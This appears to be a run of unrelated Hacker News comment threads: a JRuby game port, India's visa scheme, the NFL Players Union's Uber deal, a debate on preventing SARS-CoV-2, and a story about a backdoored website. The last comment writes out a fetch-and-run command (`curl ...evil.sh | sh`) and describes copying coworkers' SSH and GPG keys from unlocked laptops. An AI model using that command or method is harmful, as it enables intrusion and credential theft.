</comment></comment><comment><USER5> I'm really disappointed in myself for not taking advantage of watching him code. Seeing the source code is one thing, but it's another to watch someone work. I learned a lot from pair-programming with others, so I can't imagine why I didn't see the utility in this.

However, it has inspired me to dissect his code and learn from it, and hopefully be ready to submit my own entry in the next one. I imagine I'll need to put a lot of practice in before then so I can be ready to code an entire game in 48 hours.

Any tips are welcome!

<comment><USER6> Enjoy the first few hours here: <http://www.youtube.com/watch?v=QYBUCYUNn3Q>

<comment><USER5> Awesome, thanks!

</comment></comment></comment><comment><USER7> Very nice, good work Peter! It crossed my mind too when I peeped Notch code (was a bit addictive) to try port it in jruby, as it was as already mentioned a very explicit Java implementation.

The FPS was higher than I expected it to be, for a script language that is. :)

</comment><comment><USER8> jruby is getting better everyday. :)

<comment><USER9> And seems like InvokeDynamic is just about to make it even more awesome!

Charles Nutter tweeted this about running the port on Java 7: <https://twitter.com/#!/headius/status/106217563788283904></comment></comment>


India extends visa-on-arrival facility to 180 countries - <AUTHOR> http://www.bbc.co.uk/news/world-asia-india-26062351

<comment><USER2> > The government plans to set up a website enabling tourists to apply for the > visa and pay the fee. The visa would then be available for collection on > arrival at any airport after three days.

Sounds like e-visa is a more appropriate term here. I thought visa-on-arrival usually implies that you can just fly in at any time (from my experience).

</comment><comment><USER3> US, please take note.</comment>


NFL Players Union Partners with Uber To Prevent Players Driving Drunk - <AUTHOR> http://www.nytimes.com/2013/09/04/sports/football/for-nfl-players-an-app-to-combat-impaired-driving.html?ref=sports&_r=4& <comment><USER2> _Uber's service would complement an existing program run by the union in which players can summon a car by placing a phone call._

I see how using Uber is an improvement, but really, if no-one is using the existing service then I think the problem runs deeper than whether they need to talk on the phone to use it.

It's never been difficult to call a cab instead of drunk drive.

<comment><USER3> I would like to respectfully disagree. Calling a cab is a nightmare, at least in San Francisco, prior to Uber. You were put on hold for several minutes, you had to explain where you were, the driver could not show up or show up extremely late.

When you are inebriated, these steps can easily be considered overwhelming and lead to many people not wanting to go through the process.

In contrast to open phone > tap uber app > tap call cab. The difference is night and day, and I think that's why the program will succeed now when it has failed before.

<comment><USER2> _Calling a cab is a nightmare, at least in San Francisco, prior to Uber._

This seems to be the central issue with Uber- it has solved a San Francisco problem, and is now trying to apply the same solution everywhere.

There are a great many cities (including NFL franchise cities) where getting a cab is far from difficult. Yet players still drink and drive.

<comment><AUTHOR> _There are a great many cities (including NFL franchise cities) where getting a cab is far from difficult._

Are there? In my experience, NYC is the only city where getting a cab is easy – and even there it's only easy in one borough.

edit: Chicago is the only one I can think of that comes close, but it's still only easy to get a cab there in a limited few neighborhoods.

<comment><USER4> > NYC is the only city where getting a cab is easy

Define "easy". I've had several infuriating experiences trying to get a cab in NYC, all of which ended in me walking or taking a subway instead. NYC has a _lot_ of cabs, but they also have a _lot_ of cab patrons.

<comment><USER5> Not to mention many cab drivers won't venture outside of Manhattan.

</comment></comment></comment></comment></comment></comment><comment><USER6> The problem with a service like this for the NFL players is that a lot of them don't want their coaches and teammates to know they were out the night before, or just how wasted they are getting. So if Uber can guarantee anonymity throughout the process then I think players will be more apt to use Uber.

Basically a cab service exists everywhere, so for the players its not just the connivence but the real implications of calling a designated driver and their job. Granted drunk driving is infinitely worse, I feel like some athletes will always do what they think they can get away with.

<comment><USER7> If you want _real_ deniability, you might want the service to include another driver that rides in with the car, drives the player's car home, puts it in park in the driveway, and then lets the player transfer back into their own car to slip it into the garage. And also some of those Russian anti-hangover pills.

<comment><USER8> It would probably be best if the other-driver also had a mask that mimicked the likeness of the player's face.

<comment><USER7> (I'm not really suggesting that it appear that the player drove their own car home to outside observers; just that it would be weird and creepy to let some stranger park your car in your garage. It's mostly about not leaving a car parked in front of a bar the next morning.)

</comment></comment></comment></comment><comment><USER9> It sounds good, but players have already had a program in place to help them. This app might help a little, but I don't think it will solve the problem.

And they can afford taxis and car services.

Football players have this "I can do anything" mentality that gets them into trouble. This mind set also makes them good football players.

The problem is the tension that exists between the employee and the employer. The employer doesn't want the employee to know what they do. The employer will use any information he can to gain an upper hand.

Players hide injuries, then pay cash to non-team doctors.

They will continue to hide their partying activities as well.

</comment><comment><USER10> Yesss, NFL and HN on the same page! My worlds are colliding.

Anyway, I don't know if this will be good enough to solve the problem. As someone else mentioned earlier, the NFL already has a system in place for all players to get free rides at any time, no questions asked (plus a legion of fans who would bend over backwards to drive an NFL player home). I think this could be an improvement with regards to the UX and ease of use for the players, but this still may not be enough to solve the main problem.

Edit: if we want to get more in-depth as to why this might not fix the problem, look at the kind of people who become NFL players. They're often from lower-income backgrounds where sports were their one outlet for success. When you go from perpetually struggling financially and are suddenly thrust into a world where you are making millions and surrounded by adoring fans, you think you're invincible. Cops wouldn't dare to arrest a football deity would they? Unfortunately that can get to their heads and leads to situations where they choose to drunk drive instead of call a free cab.

<comment><USER11> You might like this.

[https://news.ycombinator.com/item?id=5002974](https://news.ycombinator.com/item?id=5002974)

<comment><USER10> Yep, I remember seeing that a while ago (and you're right, I did like it). I had the CSV file saved on my desktop for a while in the hopes that I could do something fun with it, but I never did.

</comment></comment></comment><comment><USER12> Some enterprising owner should set up an account with Uber to provide free rides for their players. It's a heck of a lot cheaper than DUIs, wrongful death lawsuits and suspensions and fines by the NFL.

Services like Uber go beyond calling a cab company because they are easy to use in a way that digitally-savvy people understand (and most NFL players are pretty good with smartphones) and the cars are nicer than cabs. In certain cities, it's easy to get a cab. You pretty much just need to stand on the corner of a street for a few minutes. In other cities, it can be a nightmare.

In those markets where getting a cab can be a huge problem, this will help a lot. And this will also help in markets where cab drivers refuse to leave the city. It's easy to get a cab in DC, but most cab drivers won't leave the city limits, which can be an issue if a player doesn't live in the city. That's something that a lot of people overlook when they say, "how hard is it to get a cab?" The real question is, "how hard is to get a cab that will take me to where I want to go in a timely manner?" That's where Uber shines.

<comment><USER13> That would get them right back to the original NFL program they had a couple years ago, which nobody used because they are concerned about the NFL/team knowing where they've been.

They didn't have to call a cab. They called a private number that provided a chauffeur with their choice of limo, Hummer, etc that will arrive within 30 minutes and take them wherever they want to go.

<comment><USER12> Do they have non-limo options and how expensive is this service? I wouldn't call arriving within 30 minutes exactly fast. You can get a cab or Uber within minutes.

</comment></comment></comment><comment><USER14> Uber is an incredible service. Perhaps a system within a bar/clubs POS system would be most helpful. If your bill is over X amount then the bartender could suggest a Uber for you or have the ability to charge a Uber to your bill if you agreed. Just a thought. Also Instead of Uber preventing NFL players driving drunk. Uber should prevent players driving after games who have suffered concussions or big hits.

</comment><comment><USER15> It's important to note this is the NFL Players Union, not the NFL. That gives it a better chance of being successful.

<comment><AUTHOR> Whoops, thanks! I just added that. I assume eventually the mods will switch this to the NYT headline, but I didn't think it conveyed much information.

</comment></comment><comment><USER16> I wonder how long until other organizations do something similar. It'd be kind of interesting if military 24-48h passes (i.e. be drunk for that period) came with a requirement to use Uber or something like it. Drunk driving actually kills more young enlisted people than combat.

</comment><comment><USER17> I think this is great for both Uber and the NFL. This is good PR for both, brings additional legitimacy to Uber and highlights the NFL's efforts to address this issue (at the end of the day maybe save some careers if not lives).

However, if the NFL was truly serious they would contractually require all players to install breathalyzer car starters (if you don't know search it) in their vehicles. Is that extreme? No, not in light of all the other contractual obligations NFL players/professional athletes already agree. One example is UFC fighters contracts include provisions in which they agree not to drive motorcycles.

</comment><comment><USER18> This is a great strategic partnership even if the net value is low to the NFL.

1) The cost to uber and the NFL is basically zero. It leverages existing functionality and the NFL already pays for this kind of service.

2) The NFL gets good press about drunk driving prevention and might actually prevent a few accidents.

3) Uber gets itself in the NYTimes, top of hacker news, etc for free, exposes itself to lots of new users, and reinforces itself as a brand aligned with luxury and convenience.

</comment><comment><USER19> This seems like a purely PR move. Not only is there nothing wrong with that, it's probably worth figuring out how other people can get national press with flimsy stories.

I see what Uber gets out of this, but what reason would the NFL Players' Union have for participating in the marketing of this? I don't remember hearing a lot about drunk-driving players in the press, so essentially the Players' Union is _making_ it a topic of conversation.

Why?

<comment><USER13> You just haven't been reading the right press? eg: [http://fansided.com/2013/08/06/nfl-eyes-stricter-dui- penalti...](http://fansided.com/2013/08/06/nfl-eyes-stricter-dui-penalties-to- curb-drunk-driving-arrests/) overview: [https://www.google.com/search?q=nfl+drunk+driving+-uber](https://www.google.com/search?q=nfl+drunk+driving+-uber)

</comment></comment><comment><USER20> I think this only solves a few of their alcohol related problems.

[http://www.cbsnews.com/2100-500290_162-6975132.html](http://www.cbsnews.com/2100-500290_162-6975132.html)

[http://sports.yahoo.com/nfl/blog/shutdown_corner/post/Police...](http://sports.yahoo.com/nfl/blog/shutdown_corner/post/Police- find-Colts-DT-laying-drunk-in-a-ditch-n?urn=nfl,261198)

</comment><comment><USER13> For all those who are trying to speculate on the benefits of this over the "existing car service" mentioned on the article, here is some actual information about it: [http://www.thepostgame.com/features/201304/nfl-players- worry...](http://www.thepostgame.com/features/201304/nfl-players-worry-about- privacy-when-using-car-service)

</comment><comment><USER21> The brilliance of this move is that Uber is more high end than cabs. A lot of players like arriving in style, which leads to the returning home drunk. With Uber, you can arrive in a town car. If I were Uber, I'd make a big deal about the NFL app getting priority on the nicest cars in their fleet to try and appeal to this.

<comment><USER13> Is it more high end than the existing car service?

</comment></comment><comment><USER22> My first reaction? What bunch of pampered babies. If your employer has to design a service to keep you from driving home drunk, you clearly are the definition of pathetic. Miserably unable to deal with the basics of life.

</comment><comment><USER23> Good for Uber, and I understand the want to prevent the players' safety, but seriously, that's ridiculous. The fact that this deal is in place says a lot about the maturity of professional athletes.</comment>


The SARS-CoV-2 pandemic could have been prevented - <AUTHOR> https://www.virology.ws/2020/04/30/the-sars-cov-2-pandemic-could-have-been-prevented/ <comment><USER2> I'm not sure why this was flagged Vincent Racaniello is a pretty well known immunologist he is the one behind the discovery of PVR (the discovery of the polio receptor allowed his team to develop a technique for animal models for viruses that only infect humans such as polio which is still used today to study diseases that do not have other natural hosts) and the mechanisms for interferon immunity in viruses.

</comment><comment><USER3> I really hope that this is the lesson we get from the Covid-19 pandemic. To develop a series of easily manufacturable antivirals against all potentially pandemic causing viruses. It will cost a couple of billions but Covid-19 alone has cost us trillions already.

<comment><USER4> I hope that, as a result of this, those in power realize that we need to invest more in biotech. It seems to me that government pour too much money into things like deep learning research (which will serve to eliminate jobs and enable a surveillance state), and not enough in research that could save lives and eliminate illnesses.

We really should have the capability to develop and mass-manufacture antivirals much faster, ideally in the span of a few weeks. We understand the basic physics involved, we can do protein folding and I assume we can simulate how well synthetic molecules bind to proteins. Why don't we have this technological capability? It seems it really should be within the realm of what we're capable of achieving.

<comment><USER5> This is exactly the goal of DARPA's Pandemic Prevention Platform (P3) program.

[https://www.darpa.mil/program/pandemic-prevention- platform](https://www.darpa.mil/program/pandemic-prevention-platform)

I am constantly surprised how often the answer to why aren't we funding this really ambitious but also really impactful project? is yup, DARPA is funding it, but nobody else is, and we probably should increase DARPA funding by 10x.

</comment></comment></comment><comment><USER6> Even if it could have been prevented, there is significant probability that another novel virus could arise from bat or other reservoirs in the future. Similar to how H1N1 better prepared certain countries who experienced it, this could be the wake-up call that was needed to help future generations survive a much worse virus by getting them more used to a life where being in a crowd is not normal. There are very few people alive who lived through the previous 1918 pandemic. This is our 1918 or, at least, a strong warning.

<comment><USER7> Are you implying that the 1918 pandemic resulted in some sort of lesson learned or a fundamental shift in culture?

<comment><USER6> We are all living through this in real-time. A few of us even know people who have died from COVID-19 [1]. For the first time in a long time, on a large scale, many people are experiencing the effects of normalcy bias, even if they don't it is called that particular term. [2] Good or bad, we are all seeing the results of having a global supply chain. For the first time in a long time, most of us know people who are unemployed for reasons that are beyond their control. We are seeing acutely the benefits of a social safety net. [3] For the first time in a very long time, with few exceptions, people are not experiencing FOMO as it relates to the innocent but probing "what are you doing this weekend?" or "what did you do this weekend?", as people simply cannot "go out on a Friday" like they did just a couple months ago. The whole casual Tinder hookup culture is undergoing a sea change in the temporary era of social distancing, as kissing is a known probable vector for virus transmission. Let alone, having a date in a restaurant is a vaguer memory every passing day.

The Internet, broadly speaking, is fueling a return to creativity not seen widely since the days of MySpace. Creativity almost always thrives under constraint. For example, Russian isolation art [4].

Finally, for those who are saying we'll forget about this in two years... (normalcy bias) what if there is ultimately no successful vaccine and just a set of treatments that are fairly to moderately successful once you are infected?

[1] > The CDC's Pandemic Flu Storybook provides readers with a look at the impact pandemic flu events have had on both survivors and the families and friends of non-survivors. These stories are not folklore, but personal recollections.

[https://www.cdc.gov/publications/panflu/stories/survived.htm...](https://www.cdc.gov/publications/panflu/stories/survived.html)

[2] [https://en.wikipedia.org/wiki/Normalcy_bias](https://en.wikipedia.org/wiki/Normalcy_bias)

[3] [https://www.nytimes.com/2020/03/06/business/europe- coronavir...](https://www.nytimes.com/2020/03/06/business/europe-coronavirus- labor-help.html)

[4] [https://www.nytimes.com/2020/04/25/world/europe/russia- Faceb...](https://www.nytimes.com/2020/04/25/world/europe/russia-Facebook-art- parodies.html)

<comment><USER8> There was no vaccine for the Spanish Flu either. We didn't even know what _caused_ the flu at the time, had no particular reason other than the course of past pandemics to believe it would recede, and in many places got hit with 3 waves of it. But once it did recede (and in some places even before it receded!) people were chomping at the bit to go out.

It just seems unrealistic to propose that, after humanity survived plague and smallpox and tuberculosis, a disease less deadly than all of them will be what ends our general willingness to physically interact with each other.

<comment><USER6> > our general willingness to physically interact with each other

In the best outcome, there is a successful vaccine. Even Introverts Gone Wild. The Roaring Twenties all over again, as another commenter mentioned.

In the worst outcome, we learn to live with COVID-19 or its offshoots, forcing each person to take into a risk calculation and mitigation measures for meeting others, especially in crowds.

In all outcomes, humanity will survive. Even if the Contagion virus, which was modeled after the Nipah virus with 80%+ mortality rates in certain break outs, becomes a reality in the future, there will always be survivors.

<comment><USER8> The Roaring Twenties happened in the absence of a vaccine or even pharmaceutical treatment. Every person was forced to take a risk calculation, and for most people the result of that calculation was "idk epidemics happen sometimes let's go dancing". Unless the average person has become radically more risk averse in the past century, we'll be prepared to ignore the virus in the medium to long term, no matter how good our response is now.

</comment></comment></comment></comment></comment></comment><comment><AUTHOR> This is by by Vincent Racaniello, a professor of Microbiology & Immunology at Columbia University.

I highly recommend his podcast, This Week in Virology, aka TWiV.

Anybody have transcripts of the best TWiV episodes?

<comment><USER3> > Anybody have transcripts of the best TWiV episodes?

Youtube STT is pretty good. You can open the autogenerated transcripts on youtube page, select all and copy them to a file.

[https://ccm.net/faq/40644-how-to-get-the-transcript-of-a- you...](https://ccm.net/faq/40644-how-to-get-the-transcript-of-a-youtube- video)

Second the recommendation. I've been watching his virology lectures. Teaches you a lot about viruses, although it sometimes contains organic chemistry that I don't know about, but outside of that it's great: [https://www.youtube.com/watch?v=lj3NhPgOoX4&list=PLGhmZX2NKi...](https://www.youtube.com/watch?v=lj3NhPgOoX4&list=PLGhmZX2NKiNldpyRUBBEzNoWL0Cso1jip)

</comment></comment><comment><USER9> This posts says in passing without further explanation that the NIH is "under- funded". I looked up their budget, they get roughly 40 Billion dollars a year. I'm not sure what rational one uses to call that underfunded but that doesn't seem like they are some small agency starved for money.

<comment><USER10> > This posts says in passing without further explanation that the NIH is > "under-funded". I looked up their budget, they get roughly 40 Billion > dollars a year. I'm not sure what rational one uses to call that underfunded > but that doesn't seem like they are some small agency starved for money.

Compare the cost of this kind of pandemic, which was generally agreed as likely to happen at some point.

Or consider it in a _per capita_ context -- about US$100 per citizen of the USA.

Given this, and given what the USA spends most of its money on, I agree with TFA - the NIH is woefully underfunded.

</comment></comment><comment><USER11> Guys, this is a natural disaster. The blame game about causality is fucking stupid. Mitigation and response is all that matters because it's all that's actually under our (humanity's) control.

<comment><USER12> Indeed. But should we not even discuss, instead, about something like this?

 _One of the treating physicians, Dr. Li Wenliang, warned some colleagues about the new illness on December 31. Instead of spreading the word about the new pathogen and dispatching the country's top infectious disease detectives to Wuhan, the police arrested Dr. Li and accused him of "spreading rumors." He died on February 7 from the coronavirus that he contracted while treating patients. It took China's president Xi Jinping until January 7 to order his top medical officials to investigate the outbreak. They publicly denied it was communicable person-to-person. That allowed Chinese lunar New Year celebrations and holiday breaks to go ahead as planned, sending infected people from Wuhan around the country and across the planet._

[https://lithub.com/on-the-near-impossibility-of-planning- for...](https://lithub.com/on-the-near-impossibility-of-planning-for-a-viral- pandemic/)

<comment><USER13> China notified the WHO on the same day, December 31.

The WHO did not deny person-to-person transmission. They said there was no direct evidence yet.

After China locked down on January 23, some countries took months before acting.

</comment></comment></comment><comment><USER14> There's thousand such threats to humanity that need to be prevented even right now. The real problem is determining which threat is real and prioritising. Think of it like you are a celebrity. You recieve thousands of threats daily, most of these are just threats which will never realise. The problem is identifying which ones will and acting on those to prevent them.

</comment><comment><USER15> I suppose if you already have a grudge against the US you can pick and choose which facts you focus on to try to piece together a narrative that blames the US for this... But of course that narrative is extremely flimsy.

Assigning blame to any one country for a pandemic which is affecting literally the entire world is petty and disingenuous.

All countries on Earth could have done more to prevent this.

<comment><USER10> I don't think preexisting grudges against the USA are necessary for thinking the USA has really dropped the ball here. Home to some of the most advanced medical research, self-appointed world protector, vast financial resources.

TFA wasn't assigning blame _for the pandemic_ per se, from my reading, but was pointing out the effects could have been mitigated had earlier (2003+, 2012+) research not been abandoned -- noting that it was abandoned not because anyone in the field didn't think it would be useful one day (experts were sure we'd have more of these types of viruses, with pandemic risks) but because it wasn't financially attractive to for-profit pharma.

> All countries on Earth could have done more to prevent this.

For most of the 190+ countries on the planet, that would be true for very small values of 'more'.

<comment><USER16> > I don't think preexisting grudges against the USA are necessary for thinking > the USA has really dropped the ball here. Home to some of the most advanced > medical research, self-appointed world protector, vast financial resources.

Sure.

> the effects could have been mitigated had earlier (2003+, 2012+) research > not been abandoned -- noting that it was abandoned not because anyone in the > field didn't think it would be useful one day (experts were sure we'd have > more of these types of viruses, with pandemic risks) but because it wasn't > financially attractive to for-profit pharma.

I don't think it's just profit motive that caused those lines of research to be dropped. SARS was effectively eradicated and MERS was mostly contained. Sure there was a pandemic risk, but there were also pandemic risks with influenza and ebola, both of which saw lots of research and active countermeasures. Meanwhile, HIV/AIDS was spreading to the tune of over a million cases per year. If you're a rational, altruistic person trying to make a decision about where to focus investment in antiviral research at this point in time, you had a lot of reasons to invest in HIV, a lot of reasons to invest in influenza, and maybe only a few long-shot reasons to invest in Ebola or coronaviruses. At its peak HIV was an immediate death sentence that over a million people on Earth got every year. I think it would have been a hard sell at the time to try and divert funds away from addressing that problem just in case there was a sequel to SARS that couldn't be stopped the same way SARS was.

<comment><USER10> You're right - it wasn't entirely profit motive, but that was a non-trivial component of many of the decisions. Trying to generalise the actions of the medical & pharmaceutical research and industry components as a whole is necessarily fraught.

There's news, though how much I trust I am not sure, coming out of the USA since COVID19 started, that various pandemic response teams, earlier research, etc - had been abandoned only very recently.

Ebola etc - well, we're going off at a tangent, but practically that kind of very fast acting, very high mortality rate pathogen is relatively easy to stop, if for no other reason than most people are going to be sufficiently petrified of their organs dissolving, brutal pain, and almost certain death. It's been noted before that ebola is too effective to cause a pandemic.

HIV - treatments are available now, and you're right, it was (up until 2019) a bigger risk than COVID, but I'm sure there's some political and social resistance to funding a disease that still has various stigmas associated with it. I guess part of that social mindset is a feeling by most people that they can't possibly get HIV.

But, yes, rational and altruistic - I know we're not either of those things by and large. But if you asked your average USA citizen now if they wish NIH had been funded at something > $100 per person, I reckon you'd get a resounding affirmative.

<comment><USER16> > It's been noted before that ebola is too effective to cause a pandemic.

Something we can all be thankful for. It should be noted that SARS didn't cause a pandemic, either.

Without the benefit of hindsight, TFA's argument that "there should have been work into vaccines and cures for SARS-type viruses just in case one of them ends up being a pandemic threat" could have just as easily been applied to Ebola. Ebola and SARS were never pandemic viruses, but the notion of a less deadly but more easily transmitted form of Ebola is a lot scarier than what we ended up with: a less deadly but more easily transmitted form of SARS.

> But, yes, rational and altruistic - I know we're not either of those things > by and large. But if you asked your average USA citizen now if they wish NIH > had been funded at something > $100 per person, I reckon you'd get a > resounding affirmative.

And I think that's something we can stand to learn from this. I think my overall point is that we can learn from our mistakes without playing the blame game over how they happened in the first place.

<comment><USER10> > Something we can all be thankful for. It should be noted that SARS didn't > cause a pandemic, either.

Well no, but we didn't know it wouldn't at the time, of course. Which isn't really the point.

TFA's argument _only_ makes objective sense in hindsight - after many missed opportunities, bungling, false starts, etc have manifested. That TFA only points this out after all these mistakes are made and the costs are being borne is a truism, not an astute observation.

> ... the notion of a less deadly but more easily transmitted form of Ebola is > a lot scarier than what we ended up with ...

I totally disagree.

Ebola, as mentioned earlier, is sufficiently brutal, and _known_ to be so, that it takes itself out of circulation relatively quickly _and_ scares the living shinola out of the candidate carriers, so it dies out really quickly.

COVID19 OTOH has yet to be really _experienced_ by most people, directly or indirectly, so the 20+ day incubation, and weird claims of mild flu-like and other misdirections are in its favour. (Excuse implicit anthropomorphism.)

And if we want to talk about something less deadly than Ebola, it's a very crowded field.

AFAICT Ebola's officially taken < 20,000 people (I may be wildly wrong here - it's hard to find good numbers). SARS-CoV-2 has (as of 2020-05-05) already taken an order of magnitude more than that - 252,000, and that's likely an under-estimate.

</comment></comment></comment></comment></comment></comment><comment><USER17> I fear that this pandemic eventually passes and we learn nothing from it.

<comment><USER18> In fairness, over the long run, we don't really "learn" anything from any major world events. Human nature is human nature, and we'll always prioritize the immediate threats over something vague and in the future. It's why climate change is virtually inevitable.

</comment></comment><comment><USER19> No it couldn't have been prevented under the current system of global capitalism. No market forces means no research done by private companies. This kind of forward thinking project requires billions of dollars of funding by the government into large-scale public programs - something the US public has been allergic to since the 80s.

Preventing another pandemic means rethinking how the incentives in this current system are structured.

<comment><USER4> I agree that it's a matter of changing the incentives. It seems possible though. Governments are pulling trillions of dollars out of thin air for relief measures. They have the ability to print money and have been expanding the money supply since there has been money. It's a matter of allocating said money to the right things. Maybe instead of keeping zombie companies alive through zero-interest debt, we should be letting badly managed companies die, and fund critical research instead, as well as infrastructure projects. That would create jobs and help us build a better future.

</comment></comment><comment><USER20> There's an easier way to prevent animal nexus illnesses. This includes SARS, COVID, MERS, Ebola, E Coli, and many others. This change would have a byproduct of massively reducing greenhouse gas emissions and improving the life expectancy of billions of people.

Unfortunately there is no sign people will do this.

It requires a switch to a plant based diet.

It's really a shame that so few people will consider a change that would personally benefit them and everyone around them.

EDIT: Instead of downvoting, why not respond? I'm happy to hear your alternate opinion.

<comment><USER21> I believe you need to have some sort of privilege to switch to a plant based diet. It's not cheap, especially in america where fast food is so accessible, cheap, and satisfying. Fresh produce is expensive and calories per dollar doesnt make any sense. Sure beans and grain sounds great, but in practice gets boring very quickly.

I agree with you that switching to a plant based diet is better for the environment and would prevent 99% of these diseases, but most people simply dont have the resources to do so, and the cultural dependence on meat will be near impossible to change.

<comment><USER22> There's no way it's more expensive in a free (with externalities priced-in) market. Meat eats plants in a very lossy fashion. The main problem for your average Joe is that it's quite hard to get started cooking tasty meals this way. I've tried many times and I can kinda manage with these frozen "patties" and such but it's just hard to flip thousands of years of cooking tradition. You can tell when you have some Ethiopian or Indian veggie food that it's been honed to perfection over centuries. Where I'm from all the dishes include meat or animal fat/broth which is honestly even harder to replace than the protein.

When you go from chicken broth or bacon fat to a vegetable broth or coconut butter, it's just a jump too far to make the dish still make any sense and that's the kind of moments where most people give up.

</comment></comment></comment><comment><USER23> >A pan-CoV antiviral drug could have been developed through human phase I trials, and stockpiled for the next pandemic.

Would it make sense to test this drug on 80 year old people who are also ill? Usually young healthy people get the drugs in these trials AFAIK.

</comment><comment><USER24> Developing protection medicine against all potential bad pandemic viri in animals, it even just the ones we know of which at just a small party is only possible in theory.

In practice even a union of all first world countries can't afford it as far as I know.

There is also the problem about constant mutations.

E.g. after the SARS-Cov outbreak medicine against it was development. But it couldn't be used efficiently against SARS-Cov-2 . Through it likely did reduce the amount of time so need until we get a vaccine.

So putting money into developing vaccines for all kind of latent viruses makes sense for gaining knowledge. _But it 's not cable is preventing pandemies._

</comment><comment><USER16> Alright so the most absurd leap in reasoning is probably here:

> In one scenario, we have stockpiles of a pan-CoV antiviral drug, enough to > treat millions of people. When SARS-CoV-2 is first identified in Wuhan, the > drug is immediately given a large phase II efficacy trial....

> It's easy to blame bats for unwittingly giving humanity SARS-CoV-2. But I > also blame both big Pharma and the US government for failing to come up with > a pan-CoV antiviral or vaccine.

Why single out the _US_ government in particular with the responsibility to come up with a "pan-CoV antiviral or vaccine" that should have been on hand to treat an outbreak in _Wuhan_? I'm not saying the NIH shouldn't have worked on it, but there were other countries with the ability and incentive to do so. There was nothing stopping China, Taiwan, or Canada from doing something after SARS, or South Korea from doing something after MERS, so why aren't any of those countries equally to blame?

There's the further speculation that SARS-CoV-2 was originally released due to some lab accident at the Wuhan Institute of Virology. If that's true, it only further undermines this Monday morning quarterbacking, because it would mean that one of the countries with the most vested interest in preventing this pandemic, and one of the best equipped to do something about it, was _actually trying to do that_ only to be undone by some procedural blunder.

There's also a huge degree of hindsight here. Pandemics tend to occur from time to time, and we're barely on the verge of having the tech level necessary to prevent them. Up to and including 2019, we had a couple of near-misses with coronaviruses, but we also had near-misses with influenza and Ebola among others. If the US or anyone else somehow managed to come up with some "pan-CoV antiviral or vaccine" only to fall victim to an influenza or Ebola pandemic, I'm sure some wise guy would be going around telling us how stupid they were for not being better prepared. In reality, the world has collectively gone to heroic measures to try and snuff out these outbreaks when and where they initially occur before they turn into pandemics.

Speaking of which, there's an elephant in the room. Maybe the US government didn't sufficiently invest in speculative countermeasures against a potential epidemic. But, starting in 2003, they _did_ invest in countermeasures against the _actual_ epidemic of HIV/AIDS, and managed to save over 17 million lives. In fact, Drs. Fauci and Birx have both been personally involved with that program for many years.

I'm not saying the US did everything right, but in some sense the world got a really bad break with COVID-19 if you look at where virology efforts were focused. And our shortcomings in terms of public health policy would have been the same for any pandemic.

</comment><comment><USER25> His facts might be right but his tone is unreasonable. This epidemic started in China, neighbor to India. Those two countries are home to something like 20-25% of the worlds human resources and are basically on the doorstep of being advanced world-striding superpowers. China in particular is becoming a technological colossus and India is already a major player when it comes to actually producing these drugs.

Assigning the blame on the NIH or US funding would be fine in the 1980s; but this is really an issue for the Asians to take leadership on. China was in a much better position to study all these viruses. The US failed on disease screening for incoming travelers.

<comment><USER26> Pandemics are a global problem, and can start anywhere. Everybody should be working on this. It's not like the US doesn't have bats or birds or pigs, all sources of previous pandemics. The US has long been a medical research leader, and now especially doesn't seem like a great time to say, "Ah, whatever, let somebody else deal with it."

<comment><USER16> Sure, that's a fair point. And it's the perfect argument for where the US did end up focusing a lot of research and aid, namely on Ebola. Another SARS or MERS outbreak would likely originate in a developed country with a track record of successfully eradicating that type of coronavirus, whereas Ebola is a problem for a part of the world that is much less developed and ill-equipped to handle such a crisis.

It's obvious now that we should have invested more into all pandemic risks including coronaviruses, but it's an exaggeration to imply that the US wasn't doing anything at all or that the priorities of US-funded research and aid were poorly chosen based on what was known at the time.

</comment></comment></comment><comment><USER27> {C,Sh,W}oulda

</comment><comment><USER28> > The viral outbreak could have been stopped in December in Wuhan had we had > the foresight and financial support to develop antiviral drugs or vaccines.

It's quite possible the pandemic started with a virology lab in Wuhan doing exactly that.

<comment><USER29> Unfortunately to say, the President of the United States is not a reliable source. US intelligence agencies said Trump is wrong, and without any further evidence, it should be placed in the conspiracy theory category.

<comment><USER30> Here's the best collection of evidence that accidental release from WIV should be viewed as a plausible vector: [https://project- evidence.github.io/](https://project-evidence.github.io/) Nothing in here can reasonably be classified as a conspiracy theory.

The US intelligence agencies haven't said anything to my knowledge about accidental release. They said it didn't appear to be an engineered virus (true) and that there was no evidence that it did come from the lab (true).

But what that misses, is that there's a ton of circumstantial evidence that exactly this class of disease was being studied (bat coronaviruses, research on animal to human transmission, including forced mutation to encourage this) a few hundred yards from the wet market in question, and this lab had explicitly been called out for sloppy handling of dangerous biological materials.

(and to be clear, this isn't some dark secret research -- it's public albeit controversial research on preventing pandemics, funded by the NIH.)

<comment><USER31> That is not evidence if it has been debunked in several scientific papers. This is one of them with the analysis of the virus genoma: [https://www.tandfonline.com/doi/full/10.1080/22221751.2020.1...](https://www.tandfonline.com/doi/full/10.1080/22221751.2020.1733440)

<comment><USER30> You have not even slightly tried to read or understand what I posted.

This is (weak) evidence that the virus was not engineered. It says absolutely nothing about the possibility -- which I outlined clearly, and which is outlined clearly in the linked doc -- that this is a natural virus accidentally released from a lab.

<comment><USER31> I read it. There are a bunch of papers that are presented as proof of how it was engineered spreading bullshit, plus some fact narrated in the typical conspiracy theorist modus operandi to convince people of something that is very, very unlikely.

<comment><USER30> I'm sorry, but it's simply not possible to square your comments with the content as presented. Let me quote it directly, in case you missed it:

> Studies proving the virus was not "engineered" do not prove the spillover > event occured outside of a laboratory. We are not claiming the virus was > engineered. They also do not prove that the spillover event did not involve > an animal or organism sourced from one of these labs.

> To start with, we will once again state that we are not claiming SARS-CoV-2 > has been engineered.

> Editors' note, March 2020: We are aware that this story is being used as the > basis for unverified theories that the novel coronavirus causing COVID-19 > was engineered. There is no evidence that this is true; scientists believe > that an animal is the most likely source of the coronavirus.

I'd like to engage on this, but it's pretty clear you aren't discussing this in good faith, or even reading the content you're talking about, so I'm going to have to step out.</comment></comment></comment></comment></comment></comment></comment>


Dutch Developer Added Backdoor to Websites He Built, Phished Over 20K Users - <AUTHOR> https://www.bleepingcomputer.com/news/security/dutch-developer-added-backdoor-to-websites-he-built-phished-over-20-000-users/ <comment><USER2> Surely many of us have thought about how this is a very doable thing. Many of my coworkers often leave their laptops unlocked, unattended when they head for coffee or otherwise. Nothing stops me from running a quick command, forever allowing me access at any time the machine is on (it's only one `$ curl [https://myhost.sh/evil.sh|](https://myhost.sh/evil.sh|) sh` away. Or just copying their ~/.ssh (and maybe ~/.gnupg)).

After having either shell access or copying those files, adding stuff to the code base in their names is trivial.

